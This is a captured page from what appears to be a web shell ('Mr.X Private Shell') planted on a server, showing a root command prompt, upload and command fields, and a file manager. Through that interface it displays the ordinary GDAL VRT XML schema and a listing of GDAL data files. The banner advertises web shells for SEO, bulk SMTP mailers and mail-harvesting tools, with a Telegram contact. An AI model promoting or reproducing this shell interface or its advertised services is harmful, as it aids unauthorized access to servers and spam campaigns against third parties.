__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.216.190: ~ $
<?xml version="1.0" encoding="UTF-8"?>
<!--
/******************************************************************************
 * $Id$
 *
 * Project:  GDAL/OGR
 * Purpose:  XML Schema for GDAL VRT files.
 * Author:   Even Rouault, <even dot rouault at spatialys dot com>
 *
 **********************************************************************
 * Copyright (c) 2015, Even Rouault
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
 * copy of this software and associated documentation files (the "Software"),
 * to deal in the Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
 * and/or sell copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
 * in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
 * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
 * DEALINGS IN THE SOFTWARE.
 ****************************************************************************/
-->
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" version="1.0">
    <xs:element name="VRTDataset">
        <xs:complexType>
            <xs:sequence>
                <xs:choice minOccurs="0" maxOccurs="unbounded">
                    <xs:element name="SRS" type="SRSType"/>
                    <xs:element name="GeoTransform" type="xs:string"/>
                    <xs:element name="GCPList" type="GCPListType"/>
                    <xs:element name="BlockXSize" type="nonNegativeInteger32"/>
                    <xs:element name="BlockYSize" type="nonNegativeInteger32"/>
                    <xs:element name="Metadata" type="MetadataType"/> <!-- may be repeated -->
                    <xs:element name="VRTRasterBand" type="VRTRasterBandType"/> <!-- may be repeated -->
                    <xs:element name="MaskBand" type="MaskBandType"/>
                    <xs:element name="GDALWarpOptions" type="GDALWarpOptionsType"/> <!-- only if subClass="VRTWarpedDataset" -->
                    <xs:element name="PansharpeningOptions" type="PansharpeningOptionsType"/> <!-- only if subClass="VRTPansharpenedDataset" -->
                    <xs:element name="Group" type="GroupType"/> <!-- only for multidimensional dataset -->
                    <xs:element name="OverviewList" type="OverviewListType"/>
                </xs:choice>
            </xs:sequence>
            <xs:attribute name="subClass" type="xs:string"/>
            <xs:attribute name="rasterXSize" type="nonNegativeInteger32"/>
            <xs:attribute name="rasterYSize" type="nonNegativeInteger32"/>
        </xs:complexType>
    </xs:element>

    <xs:complexType name="OverviewListType">
        <xs:simpleContent>
            <xs:extension base="integerList">
                <xs:attribute name="resampling" type="xs:string"/>
            </xs:extension>
        </xs:simpleContent>
    </xs:complexType>

    <xs:simpleType name="integerList">
        <xs:list itemType="xs:integer"/>
    </xs:simpleType>

    <xs:complexType name="SRSType">
        <xs:simpleContent>
            <xs:extension base="xs:string">
                <xs:attribute name="dataAxisToSRSAxisMapping" type="xs:string"/>
                <xs:attribute name="coordinateEpoch" type="xs:float"/>
            </xs:extension>
        </xs:simpleContent>
    </xs:complexType>

    <xs:simpleType name="nonNegativeInteger32">
        <xs:restriction base="xs:nonNegativeInteger">
            <xs:maxInclusive value="2147483647"/>
        </xs:restriction>
    </xs:simpleType>

    <xs:complexType name="GCPListType">
        <xs:sequence>
            <xs:element name="GCP" type="GCPType" minOccurs="0" maxOccurs="unbounded"/>
        </xs:sequence>
        <xs:attribute name="Projection" type="xs:string"/>
        <xs:attribute name="dataAxisToSRSAxisMapping" type="xs:string"/>
    </xs:complexType>

    <xs:complexType name="GCPType">
        <xs:attribute name="Id" type="xs:string"/>
        <xs:attribute name="Info" type="xs:string"/>
        <xs:attribute name="Pixel" type="xs:double" use="required"/>
        <xs:attribute name="Line" type="xs:double" use="required"/>
        <xs:attribute name="X" type="xs:double" use="required"/>
        <xs:attribute name="Y" type="xs:double" use="required"/>
        <xs:attribute name="Z" type="xs:double"/>
        <xs:attribute name="GCPZ" type="xs:double"/> <!-- deprecated -->
    </xs:complexType>

    <xs:complexType name="MetadataType">
        <xs:sequence>
            <!--<xs:choice>-->
                <!--<xs:element name="MDI" type="MDIType" minOccurs="0" maxOccurs="unbounded"/>-->
                <xs:any processContents="skip" minOccurs="0" maxOccurs="unbounded"/>
            <!--</xs:choice>-->
        </xs:sequence>
        <xs:attribute name="domain" type="xs:string"/>
        <xs:attribute name="format" type="xs:string"/>
    </xs:complexType>

    <xs:complexType name="GDALWarpOptionsType">
        <xs:sequence>
            <xs:any processContents="skip" minOccurs="0" maxOccurs="unbounded"/>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="PansharpeningOptionsType">
        <xs:sequence>
            <xs:element name="Algorithm" type="xs:string" minOccurs="0" maxOccurs="1"/>
            <xs:element name="AlgorithmOptions" type="AlgorithmOptionsType" minOccurs="0" maxOccurs="1"/>
            <xs:element name="Resampling" type="xs:string" minOccurs="0" maxOccurs="1"/>
            <xs:element name="NumThreads" type="xs:string" minOccurs="0" maxOccurs="1"/>
            <xs:element name="BitDepth" type="xs:string" minOccurs="0" maxOccurs="1"/>
            <xs:element name="NoData" type="NoDataOrNoneType" minOccurs="0" maxOccurs="1"/>
            <xs:element name="SpatialExtentAdjustment" type="xs:string" minOccurs="0" maxOccurs="1"/>
            <xs:element name="PanchroBand" type="PanchroBandType" minOccurs="1" maxOccurs="1"/>
            <xs:element name="SpectralBand" type="SpectralBandType" minOccurs="1" maxOccurs="unbounded"/>
        </xs:sequence>
    </xs:complexType>

    <xs:simpleType name="NoDataOrNoneType">
        <xs:union memberTypes="xs:double xs:string" />
    </xs:simpleType>

    <xs:complexType name="PanchroBandType">
        <xs:sequence>
            <xs:element name="SourceFilename" type="SourceFilenameType"/>
            <xs:element name="SourceBand" type="xs:string"/>  <!-- should be refined into xs:nonNegativeInteger or mask,xs:nonNegativeInteger -->
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="SpectralBandType">
        <xs:sequence>
            <xs:element name="SourceFilename" type="SourceFilenameType"/>
            <xs:element name="SourceBand" type="xs:string"/>  <!-- should be refined into xs:nonNegativeInteger or mask,xs:nonNegativeInteger -->
        </xs:sequence>
        <xs:attribute name="dstBand" type="xs:nonNegativeInteger"/>
    </xs:complexType>

    <xs:complexType name="AlgorithmOptionsType">
        <xs:sequence>
            <xs:any processContents="skip" minOccurs="0" maxOccurs="unbounded"/>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="MDIType">
        <xs:simpleContent>
            <xs:extension base="xs:string">
                <xs:attribute name="key" type="xs:string" use="required"/>
            </xs:extension>
        </xs:simpleContent>
    </xs:complexType>

    <xs:complexType name="VRTRasterBandType">
        <xs:sequence>
            <xs:choice minOccurs="0" maxOccurs="unbounded">
                <xs:element name="Description" type="xs:string"/>
                <xs:element name="UnitType" type="xs:string"/>
                <xs:element name="Offset" type="xs:double"/>
                <xs:element name="Scale" type="xs:double"/>
                <xs:element name="CategoryNames" type="CategoryNamesType"/>
                <xs:element name="ColorTable" type="ColorTableType"/>
                <xs:element name="GDALRasterAttributeTable" type="GDALRasterAttributeTableType"/>
                <xs:element name="NoDataValue" type="DoubleOrNanType"/>
                <xs:element name="NodataValue" type="xs:double"/> <!-- typo: deprecated -->
                <xs:element name="HideNoDataValue" type="ZeroOrOne"/>
                <xs:element name="Metadata" type="MetadataType"/>
                <xs:element name="ColorInterp" type="ColorInterpType"/>
                <xs:element name="Overview" type="OverviewType"/>
                <xs:element name="MaskBand" type="MaskBandType"/>
                <xs:element name="Histograms" type="HistogramsType"/>

                <!-- for a VRTSourcedRasterBand. Each element may be repeated -->
                <xs:element name="SimpleSource" type="SimpleSourceType"/>
                <xs:element name="ComplexSource" type="ComplexSourceType"/>
                <xs:element name="AveragedSource" type="SimpleSourceType"/>
                <xs:element name="KernelFilteredSource" type="KernelFilteredSourceType"/>
                <xs:element name="ArraySource" type="ArraySourceType"/>

                <!-- for a VRTDerivedRasterBand -->
                <xs:element name="PixelFunctionType" type="xs:string"/>
                <xs:element name="SourceTransferType" type="DataTypeType"/>
                <xs:element name="PixelFunctionLanguage" type="xs:string"/>
                <xs:element name="PixelFunctionCode" type="xs:string"/>
                <xs:element name="PixelFunctionArguments">
                    <xs:complexType>
                        <xs:anyAttribute processContents="lax"/>
                    </xs:complexType>
                </xs:element>
                <xs:element name="BufferRadius" type="xs:nonNegativeInteger"/>
                <xs:element name="SkipNonContributingSources" type="xs:boolean"/>

                <!-- for a VRTRawRasterBand -->
                <xs:element name="SourceFilename" type="SourceFilenameType"/>
                <xs:element name="ImageOffset" type="xs:integer"/>
                <xs:element name="PixelOffset" type="xs:integer"/>
                <xs:element name="LineOffset" type="xs:integer"/>
                <xs:element name="ByteOrder" type="xs:string"/>
            </xs:choice>
        </xs:sequence>
        <xs:attribute name="dataType" type="DataTypeType"/>
        <xs:attribute name="band" type="xs:unsignedInt"/>
        <xs:attribute name="blockXSize" type="nonNegativeInteger32"/>
        <xs:attribute name="blockYSize" type="nonNegativeInteger32"/>
        <xs:attribute name="subClass" type="VRTRasterBandSubClassType"/>
    </xs:complexType>

    <xs:simpleType name="ZeroOrOne">
        <xs:restriction base="xs:integer">
            <xs:enumeration value="0"/>
            <xs:enumeration value="1"/>
        </xs:restriction>
    </xs:simpleType>

    <xs:simpleType name="VRTRasterBandSubClassType">
        <xs:restriction base="xs:string">
            <xs:enumeration value="VRTWarpedRasterBand"/>
            <xs:enumeration value="VRTDerivedRasterBand"/>
            <xs:enumeration value="VRTRawRasterBand"/>
            <xs:enumeration value="VRTPansharpenedRasterBand"/>
        </xs:restriction>
    </xs:simpleType>

    <xs:complexType name="MaskBandType">
        <xs:sequence minOccurs="1" maxOccurs="1">
            <xs:element name="VRTRasterBand" type="VRTRasterBandType"/>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="HistogramsType">
        <xs:sequence minOccurs="0" maxOccurs="unbounded">
            <xs:element name="HistItem" type="HistItemType"/>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="HistItemType">
        <xs:sequence>
            <xs:choice minOccurs="0" maxOccurs="unbounded">
                <xs:element name="HistMin" type="xs:double"/>
                <xs:element name="HistMax" type="xs:double"/>
                <xs:element name="BucketCount" type="xs:integer"/>
                <xs:element name="IncludeOutOfRange" type="ZeroOrOne"/>
                <xs:element name="Approximate" type="ZeroOrOne"/>
                <xs:element name="HistCounts" type="xs:string"/>
            </xs:choice>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="CategoryNamesType">
        <xs:sequence minOccurs="0" maxOccurs="unbounded">
            <xs:element name="Category" type="xs:string"/>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="ColorTableType">
        <xs:sequence minOccurs="0" maxOccurs="unbounded">
            <xs:element name="Entry" type="ColorTableEntryType"/>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="GDALRasterAttributeTableType">
        <xs:sequence>
            <xs:element name="FieldDefn" type="FieldDefnType" minOccurs="0" maxOccurs="unbounded"/>
            <xs:element name="Row" type="RowType" minOccurs="0" maxOccurs="unbounded"/>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="FieldDefnType">
        <xs:sequence>
            <xs:element name="Name" type="xs:string"/>
            <xs:element name="Type" type="xs:unsignedInt"/>
            <xs:element name="Usage" type="xs:unsignedInt"/>
        </xs:sequence>
        <xs:attribute name="index" type="xs:unsignedInt" use="required"/>
    </xs:complexType>

    <xs:complexType name="RowType">
        <xs:sequence>
            <xs:element name="F" type="xs:anyType" minOccurs="0" maxOccurs="unbounded"/>
        </xs:sequence>
        <xs:attribute name="index" type="xs:unsignedInt" use="required"/>
    </xs:complexType>

    <xs:complexType name="OverviewType">
        <xs:sequence>
            <xs:choice minOccurs="0" maxOccurs="unbounded">
                <xs:element name="SourceFilename" type="SourceFilenameType"/>
                <xs:element name="SourceBand" type="xs:string"/>  <!-- should be refined into xs:nonNegativeInteger or mask,xs:nonNegativeInteger -->
            </xs:choice>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="ColorTableEntryType">
        <xs:attribute name="c1" type="xs:unsignedInt" use="required"/>
        <xs:attribute name="c2" type="xs:unsignedInt" use="required" />
        <xs:attribute name="c3" type="xs:unsignedInt" use="required" />
        <xs:attribute name="c4" type="xs:unsignedInt" />
    </xs:complexType>

    <xs:simpleType name="DataTypeType">
        <xs:restriction base="xs:string">
            <xs:enumeration value="Byte"/>
            <xs:enumeration value="UInt16"/>
            <xs:enumeration value="Int16"/>
            <xs:enumeration value="UInt32"/>
            <xs:enumeration value="Int32"/>
            <xs:enumeration value="UInt64"/>
            <xs:enumeration value="Int64"/>
            <xs:enumeration value="Float32"/>
            <xs:enumeration value="Float64"/>
            <xs:enumeration value="CInt16"/>
            <xs:enumeration value="CInt32"/>
            <xs:enumeration value="CFloat32"/>
            <xs:enumeration value="CFloat64"/>
        </xs:restriction>
    </xs:simpleType>

    <xs:simpleType name="ColorInterpType">
        <xs:restriction base="xs:string">
            <xs:enumeration value="Gray"/>
            <xs:enumeration value="Palette"/>
            <xs:enumeration value="Red"/>
            <xs:enumeration value="Green"/>
            <xs:enumeration value="Blue"/>
            <xs:enumeration value="Alpha"/>
            <xs:enumeration value="Hue"/>
            <xs:enumeration value="Saturation"/>
            <xs:enumeration value="Lightness"/>
            <xs:enumeration value="Cyan"/>
            <xs:enumeration value="Magenta"/>
            <xs:enumeration value="Yellow"/>
            <xs:enumeration value="Black"/>
            <xs:enumeration value="YCbCr_Y"/>
            <xs:enumeration value="YCbCr_Cb"/>
            <xs:enumeration value="YCbCr_Cr"/>
            <xs:enumeration value="Undefined"/>
        </xs:restriction>
    </xs:simpleType>

    <xs:group name="SimpleSourceElementsGroup">
        <xs:sequence>
            <xs:choice minOccurs="0" maxOccurs="unbounded">
                <xs:element name="SourceFilename" type="SourceFilenameType"/>
                <xs:element name="OpenOptions" type="OpenOptionsType"/>
                <xs:element name="SourceBand" type="xs:string"/>  <!-- should be refined into xs:nonNegativeInteger or mask,xs:nonNegativeInteger -->
                <xs:element name="SourceProperties" type="SourcePropertiesType"/>
                <xs:element name="SrcRect" type="RectType"/>
                <xs:element name="DstRect" type="RectType"/>
            </xs:choice>
        </xs:sequence>
    </xs:group>

    <xs:complexType name="OpenOptionsType">
        <xs:sequence>
            <xs:element name="OOI" type="OOIType" minOccurs="0" maxOccurs="unbounded"/>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="OOIType">
        <xs:simpleContent>
            <xs:extension base="xs:string">
                <xs:attribute name="key" type="xs:string" use="required"/>
            </xs:extension>
        </xs:simpleContent>
    </xs:complexType>

    <xs:complexType name="SimpleSourceType">
        <xs:group ref="SimpleSourceElementsGroup"/>
        <xs:attribute name="resampling" type="xs:string"/>
    </xs:complexType>

    <xs:group name="ComplexSourceElementsGroup">
        <xs:sequence>
            <xs:choice minOccurs="0" maxOccurs="unbounded">
                <xs:group ref="SimpleSourceElementsGroup"/>
                <xs:element name="ScaleOffset" type="xs:double"/>
                <xs:element name="ScaleRatio" type="xs:double"/>
                <xs:element name="ColorTableComponent" type="xs:nonNegativeInteger"/>
                <xs:element name="Exponent" type="xs:double"/>
                <xs:element name="SrcMin" type="xs:double"/>
                <xs:element name="SrcMax" type="xs:double"/>
                <xs:element name="DstMin" type="xs:double"/>
                <xs:element name="DstMax" type="xs:double"/>
                <xs:element name="NODATA" type="DoubleOrNanType"/> <!-- NODATA and UseMaskBand are mutually exclusive -->
                <xs:element name="UseMaskBand" type="xs:boolean"/> <!-- NODATA and UseMaskBand are mutually exclusive -->
                <xs:element name="LUT" type="xs:string"/>
            </xs:choice>
        </xs:sequence>
    </xs:group>

    <xs:complexType name="ComplexSourceType">
        <xs:group ref="ComplexSourceElementsGroup"/>
        <xs:attribute name="resampling" type="xs:string"/>
    </xs:complexType>

    <xs:complexType name="KernelFilteredSourceType">
        <xs:sequence>
            <xs:choice minOccurs="0" maxOccurs="unbounded">
                <xs:group ref="ComplexSourceElementsGroup"/>
                <xs:element name="Kernel" type="KernelType"/>
            </xs:choice>
        </xs:sequence>
        <xs:attribute name="resampling" type="xs:string"/>
    </xs:complexType>

    <xs:complexType name="KernelType">
        <xs:all>
            <xs:element name="Size" type="xs:nonNegativeInteger"/>
            <xs:element name="Coefs" type="xs:string"/>
        </xs:all>

        <xs:attribute name="normalized" type="ZeroOrOne"/>
    </xs:complexType>

    <xs:simpleType name="DoubleOrNanType">
        <xs:union memberTypes="xs:double NANType" />
    </xs:simpleType>

    <xs:simpleType name="NANType">
        <xs:restriction base="xs:string">
            <xs:enumeration value="nan"/>
            <xs:enumeration value="NAN"/>
        </xs:restriction>
    </xs:simpleType>

    <xs:complexType name="ArraySourceType">
        <xs:sequence>
            <xs:element ref="AbstractArray"/>
            <xs:element name="SrcRect" type="RectType" minOccurs="0"/>
            <xs:element name="DstRect" type="RectType" minOccurs="0"/>
        </xs:sequence>
    </xs:complexType>

    <xs:element name="AbstractArray" type="AbstractArrayType" abstract="true"/>

    <xs:complexType name="AbstractArrayType"/>

    <xs:element name="SingleSourceArray" substitutionGroup="AbstractArray" type="SingleSourceArrayType"/>

    <xs:complexType name="SingleSourceArrayType">
        <xs:complexContent>
            <xs:extension base="AbstractArrayType">
                <xs:sequence>
                    <xs:element name="SourceFilename" type="SourceFilenameType"/>
                    <xs:element name="SourceArray" type="xs:string"/>
                </xs:sequence>
            </xs:extension>
        </xs:complexContent>
    </xs:complexType>

    <xs:complexType name="SourceFilenameType">
        <xs:simpleContent>
            <xs:extension base="xs:string">
                <xs:attribute name="relativeToVRT" type="ZeroOrOne" />
                <xs:attribute name="relativetoVRT" type="ZeroOrOne" /> <!-- typo: deprecated -->
                <xs:attribute name="shared" type="OGRBooleanType"/>
            </xs:extension>
        </xs:simpleContent>
    </xs:complexType>

    <xs:simpleType name="OGRBooleanType">
        <xs:restriction base="xs:string">
            <xs:enumeration value="1"/>
            <xs:enumeration value="0"/>
            <xs:enumeration value="ON"/>
            <xs:enumeration value="OFF"/>
            <xs:enumeration value="on"/>
            <xs:enumeration value="off"/>
            <xs:enumeration value="YES"/>
            <xs:enumeration value="NO"/>
            <xs:enumeration value="yes"/>
            <xs:enumeration value="no"/>
            <xs:enumeration value="TRUE"/>
            <xs:enumeration value="FALSE"/>
            <xs:enumeration value="true"/>
            <xs:enumeration value="false"/>
            <xs:enumeration value="True"/>
            <xs:enumeration value="False"/>
        </xs:restriction>
    </xs:simpleType>

    <xs:complexType name="SourcePropertiesType">
        <xs:attribute name="RasterXSize" type="nonNegativeInteger32" />
        <xs:attribute name="RasterYSize" type="nonNegativeInteger32" />
        <xs:attribute name="DataType" type="DataTypeType" />
        <xs:attribute name="BlockXSize" type="nonNegativeInteger32" />
        <xs:attribute name="BlockYSize" type="nonNegativeInteger32" />
    </xs:complexType>

    <xs:complexType name="RectType">
        <xs:attribute name="xOff" type="xs:double" />
        <xs:attribute name="yOff" type="xs:double" />
        <xs:attribute name="xSize" type="nonNegativeDouble" />
        <xs:attribute name="ySize" type="nonNegativeDouble" />
    </xs:complexType>

    <xs:simpleType name="nonNegativeDouble">
        <xs:restriction base="xs:double">
            <xs:minExclusive value="0.0"/>
        </xs:restriction>
    </xs:simpleType>

    <xs:complexType name="GroupType">
        <xs:sequence>
            <xs:element name="Dimension" type="DimensionType" minOccurs="0" maxOccurs="unbounded"/>
            <xs:element name="Attribute" type="AttributeType" minOccurs="0" maxOccurs="unbounded"/>
            <xs:element name="Array" type="ArrayType" minOccurs="0" maxOccurs="unbounded"/>
            <xs:element name="Group" type="GroupType" minOccurs="0" maxOccurs="unbounded"/>
        </xs:sequence>
        <xs:attribute name="name" type="xs:string" use="required"/>
    </xs:complexType>

    <xs:complexType name="ArrayType">
        <xs:sequence>
            <xs:element name="DataType" type="xs:string" minOccurs="1" maxOccurs="1"/>
            <xs:sequence>
                    <xs:choice minOccurs="0" maxOccurs="unbounded">
                        <xs:element name="Dimension" type="DimensionType"/>
                        <xs:element name="DimensionRef" type="DimensionRefType"/>
                    </xs:choice>
                </xs:sequence>
            <xs:element name="SRS" type="SRSType" minOccurs="0" maxOccurs="1"/>
            <xs:element name="Unit" type="xs:string" minOccurs="0" maxOccurs="1"/>
            <xs:element name="NoDataValue" type="DoubleOrNanType" minOccurs="0" maxOccurs="1"/>
            <xs:element name="Offset" type="xs:double" minOccurs="0" maxOccurs="1"/>
            <xs:element name="Scale" type="xs:double" minOccurs="0" maxOccurs="1"/>
            <xs:choice>
                <xs:element name="RegularlySpacedValues" type="RegularlySpacedValuesType" minOccurs="0" maxOccurs="1"/>
                <xs:sequence>
                    <xs:choice minOccurs="0" maxOccurs="unbounded">
                        <xs:element name="ConstantValue" type="ConstantValueType"/>
                        <xs:element name="InlineValues" type="InlineValuesType"/>
                        <xs:element name="InlineValuesWithValueElement" type="InlineValuesWithValueElementType"/>
                        <xs:element name="Source" type="SourceType"/>
                    </xs:choice>
                </xs:sequence>
            </xs:choice>
            <xs:element name="Attribute" type="AttributeType" minOccurs="0" maxOccurs="unbounded"/>
        </xs:sequence>
        <xs:attribute name="name" type="xs:string" use="required"/>
    </xs:complexType>

    <xs:complexType name="RegularlySpacedValuesType">
        <xs:attribute name="start" type="xs:double" use="required"/>
        <xs:attribute name="increment" type="xs:double" use="required"/>
    </xs:complexType>

    <xs:complexType name="ConstantValueType">
        <xs:simpleContent>
            <xs:extension base="xs:string">
                <xs:attribute name="offset" type="xs:string"/>
                <xs:attribute name="count" type="xs:string"/>
            </xs:extension>
        </xs:simpleContent>
    </xs:complexType>

    <xs:complexType name="InlineValuesType">
        <xs:simpleContent>
            <xs:extension base="xs:string">
                <xs:attribute name="offset" type="xs:string"/>
                <xs:attribute name="count" type="xs:string"/>
            </xs:extension>
        </xs:simpleContent>
    </xs:complexType>

    <xs:complexType name="InlineValuesWithValueElementType">
        <xs:sequence>
            <xs:element name="Value" type="xs:string" minOccurs="1" maxOccurs="unbounded"/>
        </xs:sequence>
        <xs:attribute name="offset" type="xs:string"/>
        <xs:attribute name="count" type="xs:string"/>
    </xs:complexType>

    <xs:complexType name="SourceType">
        <xs:sequence>
            <xs:element name="SourceFilename" type="SourceFilenameType"/>
            <xs:choice>
                <xs:element name="SourceArray" type="xs:string"/>
                <xs:element name="SourceBand" type="xs:string"/>
            </xs:choice>
            <xs:element name="SourceTranspose" type="xs:string" minOccurs="0"/>
            <xs:element name="SourceView" type="xs:string" minOccurs="0"/>
            <xs:element name="SourceSlab" type="SourceSlabType" minOccurs="0"/>
            <xs:element name="DestSlab" type="DestSlabType" minOccurs="0"/>
        </xs:sequence>
    </xs:complexType>

    <xs:complexType name="SourceSlabType">
        <xs:sequence/>
        <xs:attribute name="offset" type="xs:string"/>
        <xs:attribute name="count" type="xs:string"/>
        <xs:attribute name="step" type="xs:string"/>
    </xs:complexType>

    <xs:complexType name="DestSlabType">
        <xs:sequence/>
        <xs:attribute name="offset" type="xs:string"/>
    </xs:complexType>

    <xs:complexType name="AttributeType">
        <xs:sequence>
            <xs:element name="DataType" type="xs:string" minOccurs="1" maxOccurs="1"/>
            <xs:element name="Value" type="xs:string" minOccurs="0" maxOccurs="unbounded"/>
        </xs:sequence>
        <xs:attribute name="name" type="xs:string" use="required"/>
    </xs:complexType>

    <xs:complexType name="DimensionType">
        <xs:sequence/>
        <xs:attribute name="name" type="xs:string" use="required"/>
        <xs:attribute name="type" type="xs:string"/>
        <xs:attribute name="direction" type="xs:string"/>
        <xs:attribute name="size" type="xs:nonNegativeInteger" use="required"/>
        <xs:attribute name="indexingVariable" type="xs:string"/>
    </xs:complexType>

    <xs:complexType name="DimensionRefType">
        <xs:sequence/>
        <xs:attribute name="ref" type="xs:string" use="required"/>
    </xs:complexType>

    <xs:element name="DerivedArray" substitutionGroup="AbstractArray" type="DerivedArrayType"/>

    <xs:complexType name="DerivedArrayType">
        <xs:complexContent>
            <xs:extension base="AbstractArrayType">
                <xs:sequence>
                    <xs:element ref="AbstractArray"/>
                    <xs:element name="Step" type="StepType" minOccurs="0" maxOccurs="unbounded"/>
                </xs:sequence>
            </xs:extension>
        </xs:complexContent>
    </xs:complexType>

    <xs:complexType name="StepType">
        <xs:sequence minOccurs="0" maxOccurs="unbounded">
            <xs:element ref="AbstractStep"/>
        </xs:sequence>
    </xs:complexType>

    <xs:element name="AbstractStep" type="AbstractStepType" abstract="true"/>

    <xs:complexType name="AbstractStepType"/>

    <xs:element name="View" substitutionGroup="AbstractStep" type="ViewType"/>

    <xs:complexType name="ViewType">
        <xs:complexContent>
            <xs:extension base="AbstractStepType">
                <xs:attribute name="expr" type="xs:string" use="required"/>
            </xs:extension>
        </xs:complexContent>
    </xs:complexType>

    <xs:element name="Transpose" substitutionGroup="AbstractStep" type="TransposeType"/>

    <xs:complexType name="TransposeType">
        <xs:complexContent>
            <xs:extension base="AbstractStepType">
                <xs:attribute name="newOrder" type="CommaSeparatedListOfIntegerType" use="required"/>
            </xs:extension>
        </xs:complexContent>
    </xs:complexType>

    <xs:simpleType name="CommaSeparatedListOfIntegerType">
      <xs:restriction base="xs:string">
        <xs:pattern value="(\d)+(,(\d)+).*"/>
      </xs:restriction>
    </xs:simpleType>

    <xs:element name="Resample" substitutionGroup="AbstractStep" type="ResampleType"/>

    <xs:complexType name="ResampleType">
        <xs:complexContent>
            <xs:extension base="AbstractStepType">
                <xs:sequence>
                    <xs:element name="Dimension" type="DimensionType" minOccurs="0" maxOccurs="unbounded"/>
                    <xs:element name="ResampleAlg" type="ResampleAlgType" minOccurs="0"/>
                    <xs:element name="SRS" type="SRSType" minOccurs="0"/>
                    <xs:element name="Option" type="OptionType" minOccurs="0" maxOccurs="unbounded"/>
                </xs:sequence>
            </xs:extension>
        </xs:complexContent>
    </xs:complexType>

    <xs:simpleType name="ResampleAlgType">
        <xs:restriction base="xs:string">
            <xs:enumeration value="NearestNeighbour"/>
            <xs:enumeration value="Bilinear"/>
            <xs:enumeration value="Cubic"/>
            <xs:enumeration value="CubicSpline"/>
            <xs:enumeration value="Lanczos"/>
            <xs:enumeration value="Average"/>
            <xs:enumeration value="RMS"/>
            <xs:enumeration value="Mode"/>
            <xs:enumeration value="Gauss"/>
        </xs:restriction>
    </xs:simpleType>

    <xs:complexType name="OptionType">
        <xs:simpleContent>
            <xs:extension base="xs:string">
                <xs:attribute name="name" type="xs:string"/>
            </xs:extension>
        </xs:simpleContent>
    </xs:complexType>

    <xs:element name="Grid" substitutionGroup="AbstractStep" type="GridType"/>

    <xs:complexType name="GridType">
        <xs:complexContent>
            <xs:extension base="AbstractStepType">
                <xs:sequence>
                    <xs:element name="GridOptions" type="xs:string" minOccurs="1"/>
                    <xs:element name="XArray" minOccurs="0">
                        <xs:complexType>
                            <xs:sequence>
                                <xs:element ref="AbstractArray"/>
                            </xs:sequence>
                        </xs:complexType>
                    </xs:element>
                    <xs:element name="YArray" minOccurs="0">
                        <xs:complexType>
                            <xs:sequence>
                                <xs:element ref="AbstractArray"/>
                            </xs:sequence>
                        </xs:complexType>
                    </xs:element>
                    <xs:element name="Option" type="OptionType" minOccurs="0" maxOccurs="unbounded"/>
                </xs:sequence>
            </xs:extension>
        </xs:complexContent>
    </xs:complexType>

    <xs:element name="GetMask" substitutionGroup="AbstractStep" type="GetMaskType"/>

    <xs:complexType name="GetMaskType">
        <xs:complexContent>
            <xs:extension base="AbstractStepType">
                <xs:sequence>
                    <xs:element name="Option" type="OptionType" minOccurs="0" maxOccurs="unbounded"/>
                </xs:sequence>
            </xs:extension>
        </xs:complexContent>
    </xs:complexType>

    <xs:element name="GetUnscaled" substitutionGroup="AbstractStep" type="GetUnscaledType"/>

    <xs:complexType name="GetUnscaledType">
        <xs:complexContent>
            <xs:extension base="AbstractStepType">
                <xs:sequence/>
            </xs:extension>
        </xs:complexContent>
    </xs:complexType>

</xs:schema>

Filemanager

Name Type Size Permission Actions
GDALLogoBW.svg File 12.72 KB 0644
GDALLogoColor.svg File 12.02 KB 0644
GDALLogoGS.svg File 12.02 KB 0644
bag_template.xml File 8.81 KB 0644
default.rsc File 452.77 KB 0644
eedaconf.json File 411 B 0644
epsg.wkt File 27 B 0644
esri_StatePlane_extra.wkt File 324.75 KB 0644
gdalicon.png File 1.63 KB 0644
gdalinfo_output.schema.json File 7.8 KB 0644
gdalmdiminfo_output.schema.json File 6.39 KB 0644
gdalvrt.xsd File 33.13 KB 0644
gfs.xsd File 16.08 KB 0644
gml_registry.xml File 6.49 KB 0644
gml_registry.xsd File 6.31 KB 0644
gmlasconf.xml File 7.26 KB 0644
gmlasconf.xsd File 47.51 KB 0644
grib2_center.csv File 4.07 KB 0644
grib2_process.csv File 4.81 KB 0644
grib2_subcenter.csv File 2.27 KB 0644
